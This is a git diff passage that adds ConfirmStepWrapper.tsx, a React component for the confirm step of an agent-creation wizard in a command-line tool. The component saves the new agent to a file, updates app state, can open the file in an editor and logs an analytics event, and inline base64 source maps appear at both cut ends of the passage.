ZW50c31cbiAgICAgICAgb25Db21wbGV0ZT17b25Db21wbGV0ZX1cbiAgICAgIC8+XG4gICAgKSxcbiAgXVxuXG4gIHJldHVybiAoXG4gICAgPFdpemFyZFByb3ZpZGVyPEFnZW50V2l6YXJkRGF0YT5cbiAgICAgIHN0ZXBzPXtzdGVwc31cbiAgICAgIGluaXRpYWxEYXRhPXt7fX1cbiAgICAgIG9uQ29tcGxldGU9eygpID0+IHtcbiAgICAgICAgLy8gV2l6YXJkIGNvbXBsZXRpb24gaXMgaGFuZGxlZCBieSBDb25maXJtU3RlcFdyYXBwZXJcbiAgICAgICAgLy8gd2hpY2ggY2FsbHMgb25Db21wbGV0ZSB3aXRoIHRoZSBhcHByb3ByaWF0ZSBtZXNzYWdlXG4gICAgICB9fVxuICAgICAgb25DYW5jZWw9e29uQ2FuY2VsfVxuICAgICAgdGl0bGU9XCJDcmVhdGUgbmV3IGFnZW50XCJcbiAgICAgIHNob3dTdGVwQ291bnRlcj17ZmFsc2V9XG4gICAgLz5cbiAgKVxufVxuIl0sIm1hcHBpbmdzIjoiO0FBQUEsT0FBT0EsS0FBSyxJQUFJLEtBQUtDLFNBQVMsUUFBUSxPQUFPO0FBQzdDLFNBQVNDLG1CQUFtQixRQUFRLDBCQUEwQjtBQUM5RCxjQUFjQyxLQUFLLFFBQVEsa0JBQWtCO0FBQzdDLGNBQWNDLGVBQWUsUUFBUSwyQ0FBMkM7QUFDaEYsU0FBU0MsY0FBYyxRQUFRLHVCQUF1QjtBQUN0RCxjQUFjQyxtQkFBbUIsUUFBUSx1QkFBdUI7QUFDaEUsY0FBY0MsZUFBZSxRQUFRLFlBQVk7QUFDakQsU0FBU0MsU0FBUyxRQUFRLDZCQUE2QjtBQUN2RCxTQUFTQyxrQkFBa0IsUUFBUSxzQ0FBc0M7QUFDekUsU0FBU0MsZUFBZSxRQUFRLG1DQUFtQztBQUNuRSxTQUFTQyxZQUFZLFFBQVEsZ0NBQWdDO0FBQzdELFNBQVNDLFlBQVksUUFBUSxnQ0FBZ0M7QUFDN0QsU0FBU0MsVUFBVSxRQUFRLDhCQUE4QjtBQUN6RCxTQUFTQyxVQUFVLFFBQVEsOEJBQThCO0FBQ3pELFNBQVNDLFNBQVMsUUFBUSw2QkFBNkI7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
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/components/agents/new-agent-creation/wizard-steps/ConfirmStepWrapper.tsx b/_all-in-one-upload/cc-haha/src/components/agents/new-agent-creation/wizard-steps/ConfirmStepWrapper.tsx
new file mode 100644
index 0000000..343eca2
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/components/agents/new-agent-creation/wizard-steps/ConfirmStepWrapper.tsx
@@ -0,0 +1,74 @@
+import chalk from 'chalk';
+import React, { type ReactNode, useCallback, useState } from 'react';
+import { type AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS, logEvent } from 'src/services/analytics/index.js';
+import { useSetAppState } from 'src/state/AppState.js';
+import type { Tools } from '../../../../Tool.js';
+import type { AgentDefinition } from '../../../../tools/AgentTool/loadAgentsDir.js';
+import { getActiveAgentsFromList } from '../../../../tools/AgentTool/loadAgentsDir.js';
+import { editFileInEditor } from '../../../../utils/promptEditor.js';
+import { useWizard } from '../../../wizard/index.js';
+import { getNewAgentFilePath, saveAgentToFile } from '../../agentFileUtils.js';
+import type { AgentWizardData } from '../types.js';
+import { ConfirmStep } from './ConfirmStep.js';
+type Props = {
+  tools: Tools;
+  existingAgents: AgentDefinition[];
+  onComplete: (message: string) => void;
+};
+export function ConfirmStepWrapper({
+  tools,
+  existingAgents,
+  onComplete
+}: Props): ReactNode {
+  const {
+    wizardData
+  } = useWizard<AgentWizardData>();
+  const [saveError, setSaveError] = useState<string | null>(null);
+  const setAppState = useSetAppState();
+  const saveAgent = useCallback(async (openInEditor: boolean): Promise<void> => {
+    if (!wizardData?.finalAgent) return;
+    try {
+      await saveAgentToFile(wizardData.location!, wizardData.finalAgent.agentType, wizardData.finalAgent.whenToUse, wizardData.finalAgent.tools, wizardData.finalAgent.getSystemPrompt(), true, wizardData.finalAgent.color, wizardData.finalAgent.model, wizardData.finalAgent.memory);
+      setAppState(state => {
+        if (!wizardData.finalAgent) return state;
+        const allAgents = state.agentDefinitions.allAgents.concat(wizardData.finalAgent);
+        return {
+          ...state,
+          agentDefinitions: {
+            ...state.agentDefinitions,
+            activeAgents: getActiveAgentsFromList(allAgents),
+            allAgents
+          }
+        };
+      });
+      if (openInEditor) {
+        const filePath = getNewAgentFilePath({
+          source: wizardData.location!,
+          agentType: wizardData.finalAgent.agentType
+        });
+        await editFileInEditor(filePath);
+      }
+      logEvent('tengu_agent_created', {
+        agent_type: wizardData.finalAgent.agentType,
+        generation_method: wizardData.wasGenerated ? 'generated' : 'manual',
+        source: wizardData.location!,
+        tool_count: wizardData.finalAgent.tools?.length ?? 'all',
+        has_custom_model: !!wizardData.finalAgent.model,
+        has_custom_color: !!wizardData.finalAgent.color,
+        has_memory: !!wizardData.finalAgent.memory,
+        memory_scope: wizardData.finalAgent.memory ?? 'none',
+        ...(openInEditor ? {
+          opened_in_editor: true
+        } : {})
+      } as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS);
+      const message = openInEditor ? `Created agent: ${chalk.bold(wizardData.finalAgent.agentType)} and opened in editor. ` + `If you made edits, restart to load the latest version.` : `Created agent: ${chalk.bold(wizardData.finalAgent.agentType)}`;
+      onComplete(message);
+    } catch (err) {
+      setSaveError(err instanceof Error ? err.message : 'Failed to save agent');
+    }
+  }, [wizardData, onComplete, setAppState]);
+  const handleSave = useCallback(() => saveAgent(false), [saveAgent]);
+  const handleSaveAndEdit = useCallback(() => saveAgent(true), [saveAgent]);
+  return <ConfirmStep tools={tools} existingAgents={existingAgents} onSave={handleSave} onSaveAndEdit={handleSaveAndEdit} error={saveError} />;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJjaGFsayIsIlJlYWN0IiwiUmVhY3ROb2RlIiwidXNlQ2FsbGJhY2siLCJ1c2VTdGF0ZSIsIkFuYWx5dGljc01ldGFkYXRhX0lfVkVSSUZJRURfVEhJU19JU19OT1RfQ09ERV9PUl9GSUxFUEFUSFMiLCJsb2dFdmVudCIsInVzZVNldEFwcFN0YXRlIiwiVG9vbHMiLCJBZ2VudERlZmluaXRpb24iLCJnZXRBY3RpdmVBZ2VudHNGcm9tTGlzdCIsImVkaXRGaWxlSW5FZGl0b3IiLCJ1c2VXaXphcmQiLCJnZXROZXdBZ2VudEZpbGVQYXRoIiwic2F2ZUFnZW50VG9GaWxlIiwiQWdlbnRXaXphcmREYXRhIiwiQ29uZmlybVN0ZXAiLCJQcm9wcyIsInRvb2xzIiwiZXhpc3RpbmdBZ2VudHMiLCJvbkNvbXBsZXRlIiwibWVzc2FnZSIsIkNvbmZpcm1TdGVwV3JhcHBlciIsIndpemFyZERhdGEiLCJzYXZlRXJyb3IiLCJzZXRTYXZlRXJyb3IiLCJzZXRBcHBTdGF0ZSIsInNhdmVBZ2VudCIsIm9wZW5JbkVkaXRvciIsIlByb21pc2UiLCJmaW5hbEFnZW50IiwibG9jYXRpb24iLCJhZ2VudFR5cGUiLCJ3aGVuVG9Vc2UiLCJnZXRTeXN0ZW1Qcm9tcHQiLCJjb2xvciIsIm1vZGVsIiwibWVtb3J5Iiwic3RhdGUiLCJhbGxBZ2VudHMiLCJhZ2VudERlZmluaXRpb25zIiwiY29uY2F0IiwiYWN0aXZlQWdlbnRzIiwiZmlsZVBhdGgiLCJzb3VyY2UiLCJhZ2VudF90eXBlIiwiZ2VuZXJhdGlvbl9tZXRob2QiLCJ3YXNHZW5lcmF0ZWQiLCJ0b29sX2NvdW50IiwibGVuZ3RoIiwiaGFzX2N1c3RvbV9tb2RlbCIsImhhc19jdXN0b21fY29sb3IiLCJoYXNfbWVtb3J5IiwibWVtb3J5X3Njb3BlIiwib3BlbmVkX2luX2VkaXRvciIsImJvbGQiLCJlcnIiLCJFcnJvciIsImhhbmRsZVNhdmUiLCJoYW5kbGVTYXZlQW5kRWRpdCJdLCJzb3VyY2VzIjpbIkNvbmZpcm1TdGVwV3JhcHBlci50c3giXSwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0IGNoYWxrIGZyb20gJ2NoYWxrJ1xuaW1wb3J0IFJlYWN0LCB7IHR5cGUgUmVhY3ROb2RlLCB1c2VDYWxsYmFjaywgdXNlU3RhdGUgfSBmcm9tICdyZWFjdCdcbmltcG9ydCB7XG4gIHR5cGUgQW5hbHl0aWNzTWV0YWRhdGFfSV9WRVJJRklFRF9USElTX0lTX05PVF9DT0RFX09SX0ZJTEVQQVRIUyxcbiAgbG9nRXZlbnQsXG59IGZyb20gJ3NyYy9zZXJ2aWNlcy9hbmFseXRpY3MvaW5kZXguanMnXG5pbXBvcnQgeyB1c2VTZXRBcHBTdGF0ZSB9IGZyb20gJ3NyYy9zdGF0ZS9BcHBTdGF0ZS5qcydcbmltcG9ydCB0eXBlIHsgVG9vbHMgfSBmcm9tICcuLi8uLi8uLi8uLi9Ub29sLmpzJ1xuaW1wb3J0IHR5cGUgeyBBZ2VudERlZmluaXRpb24gfSBmcm9tICcuLi8uLi8uLi8uLi90b29scy9BZ2VudFRvb2wvbG9hZEFnZW50c0Rpci5qcydcbmltcG9ydCB7IGdldEFjdGl2ZUFnZW50c0Zyb21MaXN0IH0gZnJvbSAnLi4vLi4vLi4vLi4vdG9vbHMvQWdlbnRUb29sL2xvYWRBZ2VudHNEaXIuanMnXG5pbXBvcnQgeyBlZGl0RmlsZUluRWRpdG9yIH0gZnJvbSAnLi4vLi4vLi4vLi4vdXRpbHMvcHJvbXB0RWRpdG9yLmpzJ1xuaW1wb3J0IHsgdXNlV2l6YXJkIH0gZnJvbSAnLi4vLi4vLi4vd2l6YXJkL2luZGV4LmpzJ1xuaW1wb3J0IHsgZ2V0TmV3QWdlbnRGaWxlUGF0aCwgc2F2ZUFnZW50VG9GaWxlIH0gZnJvbSAnLi4vLi4vYWdlbnRGaWxlVXRpbHMuanMnXG5pbXBvcnQgdHlwZSB7IEFnZW50V2l6YXJkRGF0YSB9IGZyb20gJy4uL3R5cGVzLmpzJ1xuaW1wb3J0IHsgQ29uZmlybVN0ZXAgfSBmcm9tICcuL0NvbmZpcm1TdGVwLmpzJ1xuXG50eXBlIFByb3BzID0ge1xuICB0b29sczogVG9vbHNcbiAgZXhpc3RpbmdBZ2VudHM6IEFnZW50RGVmaW5pdGlvbltdXG4gIG9uQ29tcGxldGU6IChtZXNzYWdlOiBzdHJpbmcpID0+IHZvaWRcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIENvbmZpcm1TdGVwV3JhcHBlcih7XG4gIHRvb2xzLFxuICBleGlzdGluZ0FnZW50cyxcbiAgb25Db21wbGV0ZSxcbn06IFByb3BzKTogUmVhY3ROb2RlIHtcbiAgY29uc3QgeyB3aXphcmREYXRhIH0gPSB1c2VXaXphcmQ8QWdlbnRXaXphcmREYXRhPigpXG4gIGNvbnN0IFtzYXZlRXJyb3IsIHNldFNhdmVFcnJvcl0gPSB1c2VTdGF0ZTxzdHJpbmcgfCBudWxsPihudWxsKVxuICBjb25zdCBzZXRBcHBTdGF0ZSA9IHVzZVNldEFwcFN0YXRlKClcblxuICBjb25zdCBzYXZlQWdlbnQgPSB1c2VDYWxsYmFjayhcbiAgICBhc3luYyAob3BlbkluRWRpdG9yOiBib29sZWFuKTogUHJvbWlzZTx2b2lkPiA9PiB7XG4gICAgICBpZiAoIXdpemFyZERhdGE/LmZpbmFsQWdlbnQpIHJldHVyblxuXG4gICAgICB0cnkge1xuICAgICAgICBhd2FpdCBzYXZlQWdlbnRUb0ZpbGUoXG4gICAgICAgICAgd2l6YXJkRGF0YS5sb2NhdGlvbiEsXG4gICAgICAgICAgd2l6YXJkRGF0YS5maW5hbEFnZW50LmFnZW50VHlwZSxcbiAgICAgICAgICB3aXphcmREYXRhLmZpbmFsQWdlbnQud2hlblRvVXNlLFxuICAgICAgICAgIHdpemFyZERhdGEuZmluYWxBZ2VudC50b29scyxcbiAgICAgICAgICB3aXphcmREYXRhLmZpbmFsQWdlbnQuZ2V0U3lzdGVtUHJvbXB0KCksXG4gICAgICAgICAgdHJ1ZSxcbiAgICAgICAgICB3aXphcmREYXRhLmZpbmFsQWdlbnQuY29sb3IsXG4gICAgICAgICAgd2l6YXJkRGF0YS5maW5hbEFnZW50Lm1vZGVsLFxuICAgICAgICAgIHdpemFyZERhdGEuZmluYWxBZ2VudC5tZW1vcnksXG4gICAgICAgIClcblxuICAgICAgICBzZXRBcHBTdGF0ZShzdGF0ZSA9PiB7XG4gICAgICAgICAgaWYgKCF3aXphcmREYXRhLmZpbmFsQWdlbnQpIHJldHVybiBzdGF0ZVxuXG4gICAgICAgICAgY29uc3QgYWxsQWdlbnRzID0gc3RhdGUuYWdlbnREZWZpbml0aW9ucy5hbGxBZ2VudHMuY29uY2F0KFxuICAgICAgICAgICAgd2l6YXJkRGF0YS5maW5hbEFnZW50LFxuICAgICAgICAgIClcbiAgICAgICAgICByZXR1cm4ge1xuICAgICAgICAgICAgLi4uc3RhdGUsXG4gICAgICAgICAgICBhZ2VudERlZmluaXRpb25zOiB7XG4gICAgICAgICAgICAgIC4uLnN0YXRlLmFnZW50RGVmaW5pdGlvbnMsXG4gICAgICAgICAgICAgIGFjdGl2ZUFnZW50czogZ2V0QWN0aXZlQWdlbnRzRnJvbUxpc3QoYWxsQWdlbnRzKSxcbiAgICAgICAgICAgICAgYWxsQWdlbnRzLFxuICAgICAgICAgICAgfSxcbiAgICAgICAgICB9XG4gICAgICAgIH0pXG5cbiAgICAgICAgaWYgKG9wZW5JbkVkaXRvcikge1xuICAgICAgICAgIGNvbnN0IGZpbGVQYXRoID0gZ2V0TmV3QWdlbnRGaWxlUGF0aCh7XG4gICAgICAgICAgICBzb3VyY2U6IHdpemFyZERhdGEubG9jYXRpb24hLFxuICAgICAgICAgICAgYWdlbnRUeXBlOiB3aXphcmREYXRhLmZpbmFsQWdlbnQuYWdlbnRUeXBlLFxuICAgICAgICAgIH0pXG4gICAgICAgICAgYXdhaXQgZWRpdEZpbGVJbkVkaXRvcihmaWxlUGF0aClcbiAgICAgICAgfVxuXG4gICAgICAgIGxvZ0V2ZW50KCd0ZW5ndV9hZ2VudF9jcmVhdGVkJywge1xuICAgICAgICAgIGFnZW50X3R5cGU6IHdpemFyZERhdGEuZmluYWxBZ2VudC5hZ2VudFR5cGUsXG4gICAgICAgICAgZ2VuZXJhdGlvbl9tZXRob2Q6IHdpemFyZERhdGEud2FzR2VuZXJhdGVkID8gJ2dlbmVyYXRlZCcgOiAnbWFudWFsJyxcbiAgICAgICAgICBzb3VyY2U6IHdpemFyZERhdGEubG9jYXRpb24hLFxuICAgICAgICAgIHRvb2xfY291bnQ6IHdpemFyZERhdGEuZmluYWxBZ2VudC50b29scz8ubGVuZ3RoID8/ICdhbGwnLFxuICAgICAgICAgIGhhc19jdXN0b21fbW9kZWw6ICEhd2l6YXJkRGF0YS5maW5hbEFnZW50Lm1vZGVsLFxuICAgICAgICAgIGhhc19jdXN0b21fY29sb3I6ICEhd2l6YXJkRGF0YS5maW5hbEFnZW50LmNvbG9yLFxuICAgICAgICAgIGhhc19tZW1vcnk6ICEhd2l6YXJkRGF0YS5maW5hbEFnZW50Lm1lbW9yeSxcbiAgICAgICAgICBtZW1vcnlfc2NvcGU6IHdpemFyZERhdGEuZmluYWxBZ2VudC5tZW1vcnkgPz8gJ25vbmUnLFxuICAgICAgICAgIC4uLihvcGVuSW5FZGl0b3IgPyB7IG9wZW5lZF9pbl9lZGl0b3I6IHRydWUgfSA6IHt9KSxcbiAgICAgICAgfSBhcyBBbmFseXRpY3NNZXRhZGF0YV9JX1ZFUklGSUVEX1RISVNfSVNfTk9UX0NPREVfT1JfRklMRVBBVEhTKVxuXG4gICAgICAgIGNvbnN0IG1lc3NhZ2UgPSBvcGVuSW5FZGl0b3JcbiAgICAgICAgICA/IGBDcmVhdGVkIGFnZW50OiAke2NoYWxrLmJvbGQod2l6YXJkRGF0YS5maW5hbEFnZW50LmFnZW50VHlwZSl9IGFuZCBvcGVuZWQgaW4gZWRpdG9yLiBgICtcbiAgICAgICAgICAgIGBJZiB5b3UgbWFkZSBlZGl0cywgcmVzdGFydCB0byBsb2FkIHRoZSBsYXRlc3QgdmVyc2lvbi5gXG4gICAgICAgICAgOiBgQ3JlYXRlZCBhZ2VudDogJHtjaGFsay5ib2xkKHdpemFyZERhdGEuZmluYWxBZ2VudC5hZ2VudFR5cGUpfWBcbiAgICAgICAgb25Db21wbGV0ZShtZXNzYWdlKVxuICAgICAgfSBjYXRjaCAoZXJyKSB7XG4gICAgICAgIHNldFNhdmVFcnJvcihcbiAgICAgICAgICBlcnIgaW5zdGFuY2VvZiBFcnJvciA/IGVyci5tZXNzYWdlIDogJ0ZhaWxlZCB0byBzYXZlIGFnZW50JyxcbiAgICAgICAgKVxuICAgICAgfVxuICAgIH0sXG4gICAgW3dpemFyZERhdGEsIG9uQ29tcGxldGUsIHNldEFwcFN0YXRlXSxcbiAgKVxuXG4gIGNvbnN0IGhhbmRsZVNhdmUgPSB1c2VDYWxsYmFjaygoKSA9PiBzYXZlQWdlbnQoZmFsc2UpLCBbc2F2ZUFnZW50XSlcblxuICBjb25zdCBoYW5kbGVTYXZlQW5kRWRpdCA9IHVzZUNhbGxiYWNrKCgpID0+IHNhdmVBZ2VudCh0cnVlKSwgW3NhdmVBZ2VudF0pXG5cbiAgcmV0dXJuIChcbiAgICA8Q29uZmlybVN0ZXBcbiAgICAgIHRvb2xzPXt0b29sc31cbiAgICAgIGV4aXN0aW5nQWdlbnRzPXtleGlzdGluZ0FnZW50c31cbiAgICAgIG9uU2F2ZT17aGFuZGxlU2F2ZX1cbiAgICAgIG9uU2F2ZUFuZEVkaXQ9e2hhbmRsZVNhdmVBbmRFZGl0fVxuICAgICAgZXJyb3I9e3NhdmVFcnJvcn1cbiAgICAvPlxuICApXG59XG4iXSwibWFwcGluZ3MiOiJBQUFBLE9BQU9BLEtBQUssTUFBTSxPQUFPO0FBQ3pCLE9BQU9DLEtBQUssSUFBSSxLQUFLQyxTQUFTLEVBQUVDLFdBQVcsRUFBRUMsUUFBUSxRQUFRLE9BQU87QUFDcEUsU0FDRSxLQUFLQywwREFBMEQsRUFDL0RDLFFBQVEsUUFDSCxpQ0FBaUM7QUFDeEMsU0FBU0MsY0FBYyxRQUFRLHVCQUF1QjtBQUN0RCxjQUFjQyxLQUFLLFFBQVEscUJBQXFCO0FBQ2hELGNBQWNDLGVBQWUsUUFBUSw4Q0FBOEM7QUFDbkYsU0FBU0MsdUJBQXVCLFFBQVEsOENBQThDO0FBQ3RGLFNBQVNDLGdCQUFnQixRQUFRLG1DQUFtQztBQUNwRSxTQUFTQyxTQUFTLFFBQVEsMEJBQTBCO0FBQ3BELFNBQVNDLG1CQUFtQixFQUFFQyxlQUFlLFFBQVEseUJBQXlCO0FBQzlFLGNBQWNDLGVBQWUsUUFBUSxhQUFhO0FBQ2xELFNBQVNDLFdBQVcsUUFBUSxrQkFBa0I7QUFFOUMsS0FBS0MsS0FBSyxHQUFHO0VBQ1hDLEtBQUssRUFBRVYsS0FBSztFQUNaVyxjQUFjLEVBQUVW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